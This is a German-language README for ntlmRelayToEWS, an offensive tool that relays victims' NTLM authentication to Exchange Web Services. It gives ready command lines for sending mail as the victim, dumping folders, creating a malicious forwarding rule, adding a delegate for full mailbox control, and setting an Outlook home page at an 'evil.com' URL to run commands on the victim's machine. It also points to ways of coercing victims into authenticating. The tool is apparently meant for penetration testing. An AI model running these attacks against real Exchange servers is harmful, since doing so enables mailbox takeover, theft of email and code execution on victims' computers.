
NTLM-Relay-Angriff auf Exchange Web Services
Autor: Arno0x0x - @Arno0x0x
ntlmRelayToEWS ist ein Werkzeug zur Durchführung von NTLM-Relay-Angriffen auf Exchange Web Services (EWS). Es startet einen SMBListener auf Port 445 und einen HTTPListener auf Port 80 und wartet auf eingehende Verbindungen des Opfers. Sobald das Opfer eine Verbindung zu einem der Listener herstellt, findet eine NTLM-Aushandlung statt, die an den Ziel-EWS-Server weitergeleitet wird.
Offensichtlich implementiert dieses Tool NICHT die gesamte EWS-API, daher sind nur einige wenige Dienste implementiert, die in bestimmten Angriffsszenarien nützlich sein können. In Zukunft werde ich möglicherweise weitere hinzufügen. Siehe den Abschnitt 'Verwendung', um eine Vorstellung davon zu bekommen, welche EWS-Aufrufe implementiert sind.
Exchange-Version:
Ich habe dieses Tool nur gegen einen Exchange Server 2010 SP2 getestet (was zugegebenermaßen recht alt ist), daher sind alle EWS-SOAP-Anfragevorlagen sowie das Parsen der EWS-Antworten nur für diese Exchange-Version getestet.
Obwohl ich es selbst nicht getestet habe, haben einige berichtet, dass dieses Tool auch gegen einen Exchange 2016 Server out of the box funktioniert (d.h. ohne Änderungen an den SOAP-Anfragevorlagen).
Falls diese SOAP-Anfragen bei einer anderen Exchange-Version nicht funktionieren sollten, ist es recht einfach, die SOAP-Anfragevorlagen an eine neuere Version anzupassen, indem man die Microsoft EWS Managed API im Trace-Modus verwendet und die entsprechenden SOAP-Anfragen aufzeichnet (so habe ich es gemacht!).
EWS-SOAP-Client:
Ich hätte gerne einen SOAP-Client verwendet, um eine ordentliche Schnittstelle zur automatischen Erstellung aller SOAP-Anfragen basierend auf dem Exchange-WSDL zu haben. Ich habe versucht, 'zeep' zu verwenden, bin aber mit dem Kopf gegen die Wand gelaufen, um es mit dem Exchange-WSDL zum Laufen zu bringen, da es das Herunterladen externer Namespaces erfordert und somit eine Internetverbindung benötigt. Außerdem erfordert die Verwendung einer benutzerdefinierten Transportsession mit 'zeep' eine Requests.session, was nicht dem Typ der HTTP(S)-Session entspricht, den wir standardmäßig mit dem HTTPClientRelay haben: Es hätte entweder ein Refactoring des HTTPClientRelay erfordert, um 'Requests' zu verwenden (/ich faul), oder einfach zeep dazu zu bringen, die Nachrichten mit zeep.client.create_message() zu erstellen und sie dann mit der bereits vorhandenen weitergeleiteten Session zu senden. Oder liegt es daran, dass ich ein lahmer Entwickler bin? Naja...
ntlmRelayToEWS benötigt eine saubere/funktionierende Installation von Impacket. Folge deren Anweisungen, um eine funktionierende Version von Impacket zu erhalten.
ntlmRelayToEWS implementiert die folgenden Angriffe, die alle im Namen des weitergeleiteten Benutzers (Opfer) durchgeführt werden.
Weitere Informationen findest du in der Hilfe: ./ntlmRelayToEWS -h. Erhalte mit dem Flag --verbose oder -v detailliertere Debug-Informationen.
sendMail
Sendet eine im HTML-Format erstellte E-Mail an eine Liste von Empfängern:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "[email protected],[email protected]" -s Subject -m sampleMsg.html
getFolder
Ruft alle Elemente aus einem vordefinierten Ordner ab (Posteingang, Gesendete Elemente, Kalender, Aufgaben):
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
Erstellt eine bösartige Weiterleitungsregel, die alle eingehenden Nachrichten des Opfers an eine andere E-Mail-Adresse weiterleitet:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d [email protected]
setHomePage
Definiert eine Ordner-Startseite (normalerweise für den Posteingangsordner) durch Angabe einer URL. Diese von SensePost/Etienne Stalmans entdeckte Technik ermöglicht die beliebige Ausführung von Befehlen im Outlook-Programm des Opfers durch das Erstellen einer speziellen HTML-Seite: Outlook Home Page – Another Ruler Vector:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html
addDelegate
Setzt eine Delegatenadresse im primären Postfach des Opfers. Mit anderen Worten, das Opfer delegiert die Kontrolle über sein Postfach an jemand anderen. Sobald dies geschehen ist, hat die delegierte Adresse die vollständige Kontrolle über das Postfach des Opfers, indem sie es einfach als zusätzliches Postfach in Outlook öffnet:
./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d [email protected]
Um das Opfer dazu zu bringen, seine Anmeldedaten an ntlmRelayToEWS zu senden, kannst du eine der folgenden bekannten Methoden verwenden:
Invoke-SendEmail.ps1, um dies zu erreichen.Basiert auf Impacket und ntlmrelayx von Alberto Solino @agsolino.
Dieses Tool ist nur für legale und legitime Zwecke bestimmt:
Zitat der Empire-Autoren: Es gibt keine Möglichkeit, offensive Werkzeuge zu entwickeln, die für die legitime Infosec-Branche nützlich sind, während gleichzeitig verhindert wird, dass böswillige Akteure sie missbrauchen.